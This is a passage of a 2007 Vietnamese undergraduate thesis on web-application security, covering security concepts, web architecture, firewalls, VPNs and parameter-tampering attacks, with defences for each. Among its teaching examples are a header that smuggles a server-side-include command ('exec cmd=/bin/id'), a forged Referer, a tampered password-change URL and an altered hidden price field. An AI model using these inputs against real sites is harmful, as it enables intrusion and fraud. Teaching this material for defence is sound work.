1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Nghiên cứu bảo đảm an toàn thông tin bằng kiểm soát lỗ hổng trong dịch vụ web

73 1 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Nghiên cứu bảo đảm an toàn thông tin bằng kiểm soát lỗ hổng trong dịch vụ web
Trường học Trường Đại Học Dân Lập Hải Phòng
Chuyên ngành Công Nghệ Thông Tin
Thể loại Đồ Án Tốt Nghiệp
Năm xuất bản 2007
Thành phố Hải Phòng
Định dạng
Số trang 73
Dung lượng 1,06 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Cấu trúc

  • Chương 1: KHÁI NIỆM CƠ SỞ (7)
    • 1.1. KHÁI NIỆM VỀ BẢO VỆ WEB (7)
    • 1.2. ỨNG DỤNG WEB (0)
      • 1.2.1. Khái niệm ứng dụng web (13)
      • 1.2.2. Hoạt động của ứng dụng web (14)
    • 1.3. MỘT SỐ CÔNG CỤ BẢO VỆ WEB (15)
  • Chương 2: CÁC KỸ THUẬT TẤN CÔNG LỢI DỤNG LỖ HỔNG (60)
    • 2.1. CHÈN THAM SỐ (0)
      • 2.1.1. Chỉnh sửa HTTP Header (19)
      • 2.1.2. Chỉnh sửa địa chỉ URL (22)
      • 2.1.3. Chỉnh sửa trường ẩn Form (23)
      • 2.1.4. Thao tác trên cookie (25)
    • 2.2. CHÈN MÃ LỆNH TRÊN TRÌNH DUYỆT (0)
      • 2.2.1. Phương pháp tấn công XSS (28)
      • 2.2.2. Biện pháp phòng tránh (32)
    • 2.3. CHÈN CÂU LỆNH TRUY VẤN (0)
      • 2.3.1. Tấn công vượt qua kiểm tra đăng nhập (34)
      • 2.3.2. Tấn công dựa vào câu lệnh SELECT (0)
      • 2.3.3. Tấn công dựa vào câu lệnh INSERT (0)
      • 2.3.4. Tấn công dựa vào Store-Procedure (0)
      • 2.3.5. Biện pháp phòng tránh (40)
    • 2.4. TẤN CÔNG DỰA VÀO “KIỂU QUẢN LÝ PHIÊN LÀM VIỆC… (42)
      • 2.4.1. Tấn công kiểu “ấn định phiên làm việc” (43)
      • 2.4.2. Tấn công kiểu “đánh cắp phiên làm việc” (47)
      • 2.4.3. Biện pháp phòng tránh (48)
    • 2.5. TẤN CÔNG “TỪ CHỐI DỊCH VỤ” (49)
      • 2.5.1. Khái niệm DoS (49)
      • 2.5.2. Biện pháp phòng tránh (55)
    • 2.6. NGÔN NGỮ PHÍA TRÌNH CHỦ (0)
    • 2.7. TẤN CÔNG “TRÀN BỘ ĐỆM” (58)
  • Chương 3: TỔNG KẾT KỸ THUẬT TẤN CÔNG CỦA HACKER (0)
    • 3.1. THU THẬP THÔNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU… (60)
    • 3.2. KHẢO SÁT ỨNG DỤNG WEB (63)

Nội dung

Một phần rất lớn các vụ tấn công không được thông báo, vì nhiều lý do như: nỗi lo bị mất uy tín, hoặc đơn giản những người quản trị hệ thống không hay biết những cuộc tấn công đang nhằm

Trang 1

BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC DÂN LẬP HẢI PHÒNG

-oo0oo -

NGHIÊN CỨU BẢO ĐẢM AN TOÀN THÔNG TIN BẰNG KIẾM SOÁT “LỖ HỔNG” TRONG DỊCH VỤ WEB

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC HỆ CHÍNH QUY

Nghành: Công Nghệ Thông Tin

HẢI PHÒNG-2007

MỤC LỤC

Bảng chú giải từ viết tắt……… 3 Lời mở đầu……… 4

Trang 2

Chương 1: KHÁI NIỆM CƠ SỞ……… 7

1.1 KHÁI NIỆM VỀ BẢO VỆ WEB ……… 7

1.2 ỨNG DỤNG WEB……….12

1.2.1 Khái niệm ứng dụng web……… …12

1.2.2 Hoạt động của ứng dụng web……….13

1.3 MỘT SỐ CÔNG CỤ BẢO VỆ WEB.……… 15

Tường lửa……… 15

Mạng riêng ảo ……….17

Chương 2: CÁC KỸ THUẬT TẤN CÔNG LỢI DỤNG LỖ HỔNG……… 18

2.1 CHÈN THAM SỐ……… 18

2.1.1 Chỉnh sửa HTTP Header………18

2.1.2 Chỉnh sửa địa chỉ URL……… 21

2.1.3 Chỉnh sửa trường ẩn Form……… 22

2.1.4 Thao tác trên cookie……… …24

2.2 CHÈN MÃ LỆNH TRÊN TRÌNH DUYỆT ……….……….27

2.2.1 Phương pháp tấn công XSS………27

2.2.2 Biện pháp phòng tránh……… …31

2.3 CHÈN CÂU LỆNH TRUY VẤN ……… 32

2.3.1 Tấn công vượt qua kiểm tra đăng nhập……… 32

2.3.2 Tấn công dựa vào câu lệnh SELECT……… 34

2.3.3 Tấn công dựa vào câu lệnh INSERT……… 36

2.3.4 Tấn công dựa vào Store-Procedure……… 37

2.3.5 Biện pháp phòng tránh……… ……38

2.4 TẤN CÔNG DỰA VÀO “KIỂU QUẢN LÝ PHIÊN LÀM VIỆC… 40

2.4.1 Tấn công kiểu “ấn định phiên làm việc”……… 41

2.4.2 Tấn công kiểu “đánh cắp phiên làm việc”……….45

2.4.3 Biện pháp phòng tránh……… 46

2.5 TẤN CÔNG “TỪ CHỐI DỊCH VỤ”……….47

2.5.1 Khái niệm DoS……… 47

a/ Lợi dụng TCP thưc hiện Synflood……….49

Trang 3

b/ Tấn công vào băng thông……… 50

2.5.2 Biện pháp phòng tránh………53

2.7 TẤN CÔNG “TRÀN BỘ ĐỆM”………56

Chương 3: TỔNG KẾT KỸ THUẬT TẤN CÔNG CỦA HACKER……… 58

3.2 KHẢO SÁT ỨNG DỤNG WEB………61

Ví dụ thử nghiệm……… 63

Bảng chú giải từ viết tắt

Trang 4

DNS Domain Name System Hệ thống tên miền

FIN Fully Intergrated Netword Mạng tích hợp đầy đủ HTTP Hyper Text Transfer protocol Giao thức truyền siêu văn bản

CGI Common Gateway Interface Giao diện cổng thông thường

TCP Transfer Control Protocol Giao thức điều khiển truyền thông

URI Uniform Resour Identifies Con trỏ đến tài nguyên web

CSV Client Side Validator Kiểm tra ngôn ngữ phía trình duyệt

IIS Internet Information Server Dịch vụ thông tin mạng OWASP The open web Appllication

standard project

Dự án ứng dụng web

HTML Hyper Text Markup Language Ngôn ngữ đánh dấu siêu văn bản

LỜI MỞ ĐẦU

Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có

Trang 5

nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các phiên giao dịch trực tuyến Vấn đề nảy sinh là khi phạm vi ứng dụng của các ứng dụng Web ngày càng mở rộng thì khả năng xuất hiện lỗi

(lỗ hổng) và bị tấn công càng cao, trở thành đối tượng cho nhiều người tấn công với các mục đích khác nhau Đôi khi, cũng chỉ đơn giản là để thử tài hoặc đùa bỡn với người khác

Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên đó,

số lượng các vụ tấn công trên Internet cũng tăng theo cấp số nhân Trong khi các phương tiện thông tin đại chúng ngày càng nhắc nhiều đến những khả năng truy nhập thông tin của Internet, thì các tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm an toàn dữ liệu cho các máy tính được kết nối vào mạng Internet

Theo số liệu của CERT (Computer Emegency Response Team -

"Đội cấp cứu máy tính"): “số lượng các vụ tấn công trên Internet được

thông báo cho tổ chức này là ít hơn 200 vào năm 1989, khoảng 400 vào năm

1991, 1400 vào năm 1993, và 2241 vào năm 1994, và năm 2001 là 5315 vụ.”

Nguyên nhân chủ yếu làm cho các vụ tấn công tăng nhanh là do có rất nhiều “lỗ hổng” được tìm thấy trên các ứng dụng web Theo thống kê của

Symantec “năm 2004 có 49% số lượng lỗ hổng được tìm thấy trong các ứng

dụng web Từ tháng 7 đến tháng 11 năm 2006, xác định lỗ hổng bảo mật nằm trong ứng dụng web chiếm tới 75%, tăng 15% so với đầu năm”

Những vụ tấn công này nhằm vào tất cả các máy tính có mặt trên Internet, máy tính của các công ty lớn như AT&T, IBM, các trường đại học, các cơ quan

Trang 6

nhà nước, các tổ chức quân sự, nhà băng Một số vụ tấn công có quy

mô khổng lồ (có tới 100.000 máy tính bị tấn công) Hơn nữa, những con số này chỉ là phần nổi của tảng băng Một phần rất lớn các vụ tấn công không được thông báo, vì nhiều lý do như: nỗi lo bị mất uy tín, hoặc đơn giản những người quản trị hệ thống không hay biết những cuộc tấn công đang nhằm vào hệ thống của họ (Một ví dụ điển hình là cuộc tấn công vào phần mềm thương mại của IBM tháng 3/2001, hai hacker đã tìm thấy lỗ hổng trên ứng dụng mà bất

cứ ai với một trình duyệt Web cũng có thể lấy tài khoản của người dùng, thậm chí cả người quản trị)

Không chỉ số lượng các cuộc tấn công tăng lên nhanh chóng, mà các phương pháp tấn công ngày càng tinh vi và có tổ chức Mặt khác, việc quản trị các hệ thống mạng đòi hỏi nhà quản trị hệ thống có kiến thức và kinh nghiệm

về hệ thống mạng chắc chắn, do đó sự yếu kém trong quản lý sẽ tạo nhiều điều kiện cho các hacker khai thác

Cũng theo CERT, những cuộc tấn công thời kỳ 1988-1989 chủ yếu là đoán “tên người sử dụng/mật khẩu” (UserID/password) hoặc sử dụng lỗi của các chương trình và hệ điều hành (security hole) làm vô hiệu hệ thống bảo vệ, tuy nhiên các cuộc tấn công vào thời gian gần đây còn bao gồm cả các thao tác như giả mạo địa chỉ IP, theo dõi thông tin truyền qua mạng, chiếm các phiên làm việc từ xa (telnet hoặc rlogin), cài trojan hay worm để kiểm soát hay điều khiển máy tính…vì thế, nhu cầu bảo vệ thông tin trên Internet là cần thiết nhằm mục đích bảo vệ dữ liệu, bảo vệ thông tin người dùng và bảo vệ hệ thống

Khi nói đến vấn đề bảo mật, hầu hết các chuyên gia bảo mật đều chú trọng đến sự an toàn của hệ thống mạng và hệ điều hành Để bảo vệ hệ thống, phương pháp thường được chọn là sử dụng firewall Tuy nhiên, theo tuyên bố của

Trang 7

CSI/FBI : 78% nơi bị hại có sử dụng firewall và 59% thì bị tấn công thông qua Internet, cụ thể hơn là theo báo cáo của CSI/FBI Computer Crime và Security

Survey thì tổng số thiệt hại do những ứng dụng Web bị tấn công từ năm 1997

đến năm 2006 là hơn 800 triệu đôla Mỹ

Với những công cụ tự động tìm lỗ hổng tuy giúp rất nhiều cho những nhà lập trình Web nhưng vẫn không thể ngăn chặn toàn bộ vì công nghệ Web đang phát triển nhanh chóng (chủ yếu chú trọng đến yếu tố thẩm mĩ, yếu

tố tốc độ…) nên dẫn đến nhiều khuyết điểm mới phát sinh Sự tấn công không nằm trong khuôn khổ vài kĩ thuật đã phát hiện, mà linh động và tăng lên tùy vào những sai sót của nhà quản trị hệ thống cũng như của những người lập trình ứng dụng

Chương 1: KHÁI NIỆM CƠ SỞ

1.1 KHÁI NIỆM VỀ BẢO VỆ WEB

Trang 8

Bảo vệ web không còn là khái niệm xa lạ đối với những người lập trình web, những nhà quản trị mạng,…

Mục tiêu bảo vệ web gồm có:

Bảo mật: Thông tin không được đọc trái phép

Bảo toàn: Thông tin không bị sửa đổi một cách trái phép

Bảo đảm tính sẵn sàng:

Người dùng hợp pháp có quyền truy cập hay sử dụng thông tin

Hai đối tượng chính trong sử dụng dịch vụ web là người dùng và người quản trị hệ thống

Phía người dùng dịch vụ web, an toàn trên mạng trước hết là yêu cầu đặt

ra với server Thứ nhất, những yêu cầu gửi đến server phải được thưc thi và phản hồi trong thời gian nhất định (tính sẵn sàng) Thứ hai, thông tin gửi tới phải được đảm bảo không bị virut hay bị sửa đổi bởi tác nhân khác (tính toàn vẹn) Thứ ba, server không phổ biến thông tin cá nhân trên mạng (tính bí mật)

Phía nhà quản trị hệ thống, họ có những yêu cầu cũng khá giống với

người dùng nhưng nhìn dưới một góc độ khác Thứ nhất, họ phải đảm bảo rằng người dùng không thể xâm nhập vào server để thay đổi nội dung của website (tính toàn vẹn) Thứ hai, người dùng không thể truy cập vào các thông tin không thuộc quyền của họ (tính bí mật và bắt buộc) Thứ ba, người dùng không thể tấn công server làm nó không thể phục vụ người dùng khác (tính sẵn sàng) Thứ tư, người dùng đã được nhận dạng phải chịu trách nhiệm và không thể chối bỏ hành động của mình (tính xác thực)

™ Đối tượng tấn công mạng (Intruder):

Trang 9

là cá nhân hoặc tổ chức sử dụng các công cụ phá hoại như phần mềm hoặc phần cứng để dò tìm các điểm yếu, lỗ hổng bảo mật trên hệ thống, thực hiện các hoạt động xâm nhập và chiếm đoạt tài nguyên mạng trái phép

Một số đối tượng tấn công mạng:

Tin tặc (Hacker):

là kẻ xâm nhập mạng trái phép bằng cách sử dụng các công cụ phá mật khẩu hoặc khai thác điểm yếu của các thành phần truy nhập trên hệ thống

Kẻ giả mạo (Masquerader):

là kẻ giả mạo thông tin trên mạng Một số hình thức giả mạo như giả mạo địa chỉ IP, tên miền, định danh người dùng…

Kẻ nghe trộm (Evesdropping):

là đối tượng nghe trộm thông tin trên mạng sử dụng các công cụ sniffer, sau đó dùng các công cụ phân tích và debug để lấy được các thông tin có giá trị

Mục đích: ăn cắp thông tin có giá trị về kinh tế, phá hoại hệ thống mạng

có chủ định hoặc cũng vó thể chỉ là những hành động vô ý thức nhằm thử nghiệm các chương trình không kiểm tra cẩn thận,…

™ Lỗ hổng bảo mật:

là những yếu kém trên hệ thống hoặc ẩn chứa trong một dịch vụ nào đó,

mà dựa vào đó kẻ tấn công có thể xâm nhập trái phép để thực hiện các hành động phá hoại hoặc chiếm đoạt tài nguyên bất hợp pháp

Nguyên nhân gây ra các lỗ hổng bảo mật là khác nhau:

do lỗi bản thân hệ thống, do phần mềm cung cấp, hoặc do người quản trị yếu kém không hiểu sâu sắc các dịch vụ cung cấp,…

Mức độ ảnh hưởng của các lỗ hổng là khác nhau:

có lỗ hổng chỉ ảnh hưởng tới chất lượng dịch vụ, có lỗ hổng ảnh hưởng sâu sắc tới toàn bộ hệ thống,…

™ Một số hình thức tấn công mạng

Trang 10

Dựa vào lỗ hổng bảo mật trên mạng:

lỗ hổng này thường là những điểm yếu của dịch vụ mà hệ thống cung cấp

Sử dụng các công cụ để phá hoại:

ví dụ các chương trình phá khóa mật khẩu để truy cập bất hợp pháp vào chương trình

Kẻ tấn công có thể kết hợp cả hai hình thức trên để đạt được mục đích

Tùy thuộc vào cách tấn công mà mức nguy hại tới hệ thống là khác nhau

số dịch vụ, xem các thông tin khác trên hệ thống

Mức 6: Kẻ tấn công chiếm được quyền root hoặc admin trên hệ thống

™ Các mức bảo vệ an toàn mạng

Trang 11

Vì không có biện pháp an toàn tuyệt đối, nên phải dùng nhiều mức bảo

vệ khác nhau, tạo thành rào chắn đối với các hoạt động xâm phạm Việc bảo vệ thông tin trên mạng chủ yếu là bảo vệ thông tin cất giữ trong các máy tính, đặc biệt là trong các server mạng

Các lớp rào chắn bảo vệ thông tin các trạm của mạng:

Lớp thứ nhất: qui định quyền truy nhập các thông tin của mạng và quyền hạn trên tài nguyên đó, cụ thể là các tệp tin

Lớp thứ hai: hạn chế theo tài khoản truy nhập gồm đăng ký tên và mật khẩu tương ứng Đây là phương pháp bảo vệ phổ biến nhất vì nó đơn giản, ít tốn kém và cũng có hiệu quả Mỗi người sử dụng muốn truy cập vào mạng phải có đăng ký tên và mật khẩu Người quản trị hệ thống có trách nhiệm quản lý, kiểm soát mọi hoạt động mạng và xác định quyền truy cập của người dùng khác tùy theo thời gian và không gian

Lớp thứ ba: sử dụng các phương pháp mã hóa Dữ liệu được biến đổi từ dạng đọc được sang dạng “khó” đọc, theo một thuật toán nào đó

Lớp thứ tư: lớp bảo vệ vật lý nhằm ngăn cản các truy nhập vật lý bất hợp pháp vào hệ thống Thường dùng các biện pháp truyền thống như ngăn chặn người không có nhiệm vụ vào phòng máy, dùng các hệ thống khóa trên máy tính, cài các hệ thống báo động khi có truy nhập trái phép

Lớp thứ năm: cài đặt các hệ thống tường lửa, nhằm ngăn chặn các truy nhập trái phép và cho phép lọc các gói tin không muốn gửi đi, hoặc nhận vào vì

lý do nào đó

™ Nguyên nhân của các vụ tấn công:

Trang 12

Có rất nhiều nguyên nhân dẫn đến tình trạng bảo mật kém của ứng dụng web Tuy nhiên ta có thể tổng kết một số nguyên nhân chính:

+ Các ứng dụng web được viết dựa trên cơ chế bảo mật client_server chuẩn đơn giản Khi xây dựng giao thức HTTP, người ta chưa tính đến vấn đề bảo mật cho giao thức này Do vậy việc xuất hiện nhiều lỗ hổng bảo mật là điều dễ hiểu

+ Sự phức tạp của các ứng dụng web làm cho việc viết các đoạn mã bảo mật rất khó khăn Các ngôn ngữ lập trình mới ra đời, các chuẩn về định dạng dữ liệu,…

làm cho các ứng dụng web thêm phức tạp

+ Những người phát triển web tập trung nhiều vào chức năng và tốc độ chứ

không phải bảo mật Các bước xây dựng một ứng dụng web là phân tích- thiết

kế- lập trình- kiểm thử Ở các bước này, vấn đề bảo mật thông thường chỉ được

quan tâm ở giai đoạn cuối Ở giai đoạn này nếu phát hiện ra các lỗ hổng về bảo mật thì cũng chỉ vá lỗi chứ không giải quyết triệt để các lỗi đó

+ Lỗi nằm trong các dịch vụ nền tảng web như: hệ điều hành, trình duyệt web, các công cụ lập trình web Theo thống kê của IBM’s waston Research Lab, cứ

1500 dòng mã lệnh có một lỗ hổng được tìm thấy Hệ điều hành winXP có tới

45 000 000 dòng lệnh (có 30 000 lỗ hổng), còn win2000 có 35 000 000 dòng mã (khoảng 23 000 lỗ hổng)

+ Nội dung trang web thường xuyên thay đổi

+ Nhà quản trị mạng còn yếu kém về năng lực và sử dụng dịch vụ

1.2 KHÁI NIỆM ỨNG DỤNG WEB

Trang 13

1.2.1.Khái niệm

Khi trang web tồn tại trên Internet, nó được lưu trữ tại nơi nào đó để người

dùng truy xuất tới, đó chính là webserver Webserver có nhiệm vụ lưu trữ các

trang web để webclient truy xuất tới Ứng dụng Web là một ứng dụng chủ/khách (client/server) sử dụng giao thức HTTP (1.2.2) để tương tác với người dùng hay

hệ thống khác

Trình khách dành cho người dùng thường là một trình duyệt Web như Internet Explorer hay Netscape Navigator Cũng có thể là một chương trình đóng vai trò đại lý người dùng hoạt động như một trình duyệt tự động Người dùng gửi và nhận các thông tin từ trình chủ thông qua việc tác động vào các trang Web Các chương trình có thể là các trang trao đổi mua bán, các diễn đàn, gửi nhận e-mail…

Tốc độ phát triển các kỹ thuật xây dựng ứng dụng Web cũng phát triển rất nhanh Trước đây những ứng dụng Web thường được xây dựng bằng CGI (Common Gateway Interface), được chạy trên các trình chủ Web và có thể kết nối vào các CSDL đơn giản trên cùng máy chủ Ngày nay ứng dụng Web thường được viết bằng Java (hay các ngôn ngữ tương tự), và chạy trên máy chủ phân tán, kết nối đến nhiều nguồn dữ liệu

Một ứng dụng web thường có kiến trúc:

Hình 1: Kiến trúc của ứng dụng Web

Lớp trình bày: Lớp này có nhiệm vụ hiển thị dữ liệu cho người dùng, ngoài

Trang 14

ra còn có thể có thêm các ứng dụng tạo bố cục cho trang web

Lớp ứng dụng: là nơi xử lý của ứng dụng Web Nó sẽ xử lý thông tin người

dùng yêu cầu, đưa ra quyết định, gửi kết quả đến “lớp trình bày” Lớp

này thường được cài đặt bằng các kỹ thuật lập trình như CGI, Java, PHP hay ColdFusion, được triển khai trên các trình chủ như IBM WebSphere, WebLogic, Apache, IIS…

Lớp dữ liệu: thường là các hệ quản trị CSDL (DBMS-database management system) chịu trách nhiệm quản lý các file dữ liệu và quyền sử dụng

1.2.2 Hoạt động

Hình 2: Mô hình hoạt động của một ứng dụng Web

Mô hình hoạt động của một ứng dụng web thường có:

¾ Trình khách (trình duyệt (client)): Internet Explorer, Netscap Navigator

¾ Trình chủ (Server): Apache, IIS, …

¾ Hệ quản trị CSDL : SQL Server, MySQL, Access…

Mô tả hoạt động:

Trang 15

Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Web thông qua các lệnh cơ bản GET, POST… của giao thức HTTP, trình chủ lúc này có thể cho thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++… hoặc trình chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP…

theo yêu cầu của trình khách

Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến CSDL, lưu các thông tin do trình khách gửi đến…và từ đó trả về cho trình khách một luồng dữ liệu có định dạng theo “giao thức HTTP”

( là cách thức trình khách/ trình chủ giao tiếp với nhau, và qui định cấu trúc dữ liệu trao đổi trên đường truyền), gồm 2 phần:

+ Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi giữa trình duyệt và WebServer

+ Body là phần nội dung dữ liệu mà Server gửi về Client, nó

có thể là một file HTML, một hình ảnh, một đoạn phim hay một văn bản bất

Theo hình 2, luồng thông tin giữa trình chủ và trình khách là luồng thông tin hợp lệ Vì thế, nếu tin tặc tìm thấy vài lỗ hổng trong ứng dụng Web thì tường lửa không còn hữu dụng trong việc ngăn chặn kẻ tấn công đó Do đó, các kĩ thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào những

sơ suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Web hơn là tấn công trực tiếp vào hệ thống mạng, hệ điều hành Tuy nhiên, tin tặc cũng có thể lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các

hệ thống khác

1.3 MỘT SỐ CÔNG CỤ BẢO VỆ WEB

Trang 16

1.3.1 Tường lửa (firewall)

Tường lửa là một công cụ được tích hợp vào hệ thống mạng để chống lại

sự truy cập trái phép nhằm bảo vệ các nguồn thông tin nội bộ cũng như hạn chế

sự xâm nhập vào hệ thống của một số thông tin khác không mong muốn

Internet FireWall là một tập hợp thiết bị (bao gồm phần cứng và phần mềm) giữa mạng của một tổ chức, một công ty, hay một quốc gia (Intranet) và Internet

Hình 3: Truy cập thông qua tường lửa

Chức năng:

Tường lửa quyết định những dịch vụ nào từ bên trong được phép truy cập

từ bên ngoài, những người nào từ bên ngoài được phép truy cập đến các dịch vụ bên trong, và cả những dịch vụ nào bên ngoài được phép truy cập bởi những người bên trong

FireWall bao gồm :

Một hoặc nhiều hệ thống máy chủ kết nối với các bộ định tuyến (router) hoặc có chức năng router

Các phần mềm quản lí an ninh chạy trên hệ thống máy chủ Thông thường

là các hệ quản trị xác thực (Authentication), cấp quyền (Authorization) và kế toán (Accounting)

Nhiệm vụ cơ bản của FireWall là bảo vệ:

Trang 17

+ Dữ liệu: Những thông tin cần được bảo vệ do những yêu cầu: Bảo mât, tính toàn vẹn, tính kịp thời

+ Tài nguyên hệ thống

+ Danh tiếng của công ty sở hữu các thông tin cần bảo vệ

+ Chống lại những tấn công từ bên ngoài

- Cách thứ nhất là dùng phương pháp dò mật khẩu trực tiếp: đoán mật khẩu thủ công hoặc dùng các công cụ phá mật khẩu

- Cách thứ hai là dùng lỗi của các chương trình ứng dụng và bản thân hệ điều hành đã được sử dụng từ những vụ tấn công đầu tiên và vẫn chiếm quyền truy cập (có được quyền của người quản trị hệ thống)

+ Nghe lén thông tin

+ Giả mạo địa chỉ IP

Hạn chế:

Không đủ thông minh để có thể đọc hiểu từng loại thông tin và phân tích nội dung tốt hay xấu của nó Tường lửa chỉ có thể ngăn chặn sự xâm nhập của thông tin không mong muốn, nhưng phải xác định rõ thông số địa chỉ

Không thể ngăn chặn cuộc tấn công, nếu không đi qua nó

Cụ thể: nó không thể chống lại tấn công từ một đường dial-up (dịch vụ quay số), hoặc sự rò rỉ thông tin do dữ liệu bị sao chép bất hợp pháp lên đĩa mềm

Không thể chống lại cuộc tấn công bằng dữ liệu Khi có một số chương trình được chuyển theo thư điện tử, vượt qua tường lửa vào trong mạng được bảo vệ và bắt đầu hoạt động ở đây

Không thể làm nhiệm vụ rà quét virut trên các dữ liệu được truyền qua nó

1.3.2 Mạng riêng ảo (VPN-Virtual Private Network)

Trang 18

VPN gồm các máy tính kết nối với nhau qua mạng Internet, nhưng sử dụng các biện pháp xác thực bằng mật khẩu và mã hoá dữ liệu để tạo thành một mạng riêng biệt giả lập

Hệ thống VPN phân chia một cách logic Hệ thống mạng riêng được xây dựng trên nền tảng hạ tầng chung, hay hạ tầng công cộng ứng dụng các công nghệ đảm bảo tự triển khai được sự phân chia tài nguyên, và sự an toàn của dữ liệu, hoặc do nhà cung cấp dịch vụ cung cấp Mạng VPN có thể xây dựng trên Internet hoặc trên giao thức IP, hay hạ tầng ATM của nhà cung cấp dịch vụ

Hình 4: cấu trúc mạng riêng ảo

VPN thực hiện kết nối điểm-điểm, các dòng dữ liệu và thông tin liên kết người dùng được truyền trên mạng chung trong một ống ảo (tunnel) Ống ảo giữa hai người dùng xuất hiện như một liên kết riêng -> thông tin an toàn và bảo mật hơn khi truyền trên nó VPN không duy trì liên kết cố định giữa các điểm cuối, kết nối chỉ tạo khi cần, khi không cần nữa thì mạng lại dành dung lượng và tài nguyên mạng cho mục đích khác

Trang 19

“LỖ HỔNG” VÀ BẢO VỆ WEB

2.1 TẤN CÔNG KIỂU “CHÈN THAM SỐ” (Parameter Tampering) 2.1.1 Chỉnh sửa HTTP Header (HTTP Header malipulation)

Khái niệm “HTTP Header”

HTTP Header là phần đầu của thông tin mà trình khách và trình chủ gửi cho nhau Thông tin trình khách gửi cho trình chủ là HTTP requests (yêu cầu), ngược lại là HTTP responses (trả lời)

Thông thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị Một số tham số có thể được dùng trong cả header yêu cầu

và header trả lời, còn số khác thì chỉ đuợc dùng riêng trong từng loại

Header yêu cầu:

GET /tintuc/homnay.asp HTTP/1.1 Accept: */*

Accept_Language: en-us Connection: Keep-Alive Host: localhost

Referer: http://localhost/lienket.asp User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Accept-Encoding: gzip, deflate

<HTML>

Dòng đầu cho biết phương thức yêu cầu (GET hoặcPOST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP/1.1

Accept-Language: Cho biết ngôn ngữ dùng trong trang web

Host: Cho biết địa chỉ của máy chủ

Referer: Cho biết địa chỉ của trang web tham chiếu tới

User-Agent: thông tin từ máy người dùng

Header của HTTP request sẽ kết thúc bằng một dòng trống

Trang 20

Header trả lời:

HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 13 Jul 2000 05:46:53 GMT Content-Length: 2291

Content-Type: text/html Set-Cookie:

Server: trình duyệt máy chủ sử dụng

Date: thời gian trả lời yêu cầu

Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là phần thân của HTTP response

Cách tấn công:

Thông thường chỉ có trình duyệt và trình chủ trao đổi HTTP Header, còn hầu hết các ứng dụng web thì không Hacker có thể tự viết chương trình để điều khiển HTTP header (như xem nội dung, tạo mới), hay sử dụng các proxy miễn phí, cho phép thay đổi dữ liệu được gửi từ trình duyệt Ngoài ra hacker có thể tấn công trực tiếp bằng cách đăng nhập từ xa gửi HTTP Request đến trình chủ

Trang 21

Ví dụ 1:

su-2.05# telnet localhost 80 Trying 127.0.0.1 Connected to localhost Escape character is '^]' GET / HTTP/1.0

Referer: www.redhat.com/login.asp User-Agent: <! #exec cmd="/bin/id" >

HTTP/1.1 200 OK Date: Mon, 17 Dec 2001 20:39:02 GMT Server:

Connection: close Content-Type: text/html

Ví dụ 2:

Referer header chứa URL của trang web (nơi yêu cầu được gửi đi) Vì thế một vài ứng dụng sẽ kiểm tra thành phần này trong header để đảm bảo rằng nó được gửi từ trang web của ứng dụng đó

Việc làm này dùng để ngăn chặn hacker lưu lại trang web xuống máy, chỉnh sửa thuộc tính form, phá hoại bằng cách nhằm vào CSV hay SSI, sau đó gửi đi Phương pháp kiểm tra này thất bại khi hacker có thể sửa lại Referer header, giống như được gửi từ trang web hợp lệ:

Referer: www.redhat.com/login.asp

Biện pháp khắc phục

+ Không tin tưởng vào HTTP header nếu chưa có các biện pháp an toàn

+ Với các header gửi từ trình chủ thì có thể được mã hoá

+ Với các header gửi từ trình khách thì không nên dùng các tham số như referer,… để thực hiện các biện pháp an toàn

Trang 22

2.1.2 Chỉnh sửa địa chỉ URL (URL Malipulation)

Khái niệm:

Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hay POST Nếu dùng GET, thì tất cả các tên biến và giá trị của

nó sẽ xuất hiện trong chuỗi URL

Ví dụ 3: Có một trang web ứng dụng cho phép thành viên được thay đổi mật khẩu

http://www.nganhang.com/example?user=trang&newpass=123

Với:

+ username là tên người cần thay đổi mật khẩu

+ newpass là mật khẩu mới cho username Tuy nhiên, bằng cách thay đổi tham số như sau:

¾ Ngoài ra, với những thông tin có giá trị, cần mã hoá chúng trước khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý

Trang 23

2.1.3 Chỉnh sửa trường ẩn Form (Hidden Form Field Malipulation)

Khái niệm

Thông tin có thể được chuyển đổi thông qua một trường ẩn của form, gọi là Hidden Form Field Trường ẩn form không hiển thị trên màn hình trình duyệt nhưng người dùng có thể tìm thấy nội dung của nó trong “view source”, đây là điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình duyệt, thay đổi nội dung trang và gửi đến trình chủ

Ví dụ 4:

Form gốc có nội dung như sau:

<form action="http://www.tancong.com/cuahang.pl" method="POST">

giaca=99.99

Nhưng nếu hacker gán một giá trị khác cho trường “giaca” :

<form action="http://www.tancong.com/cuahang.pl" method="POST">

giaca=0.99

Trang 24

Biện pháp khắc phục

Chỉ nên sử dụng trường ẩn của form để hiển thị dữ liệu trên trình duyệt, không được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng

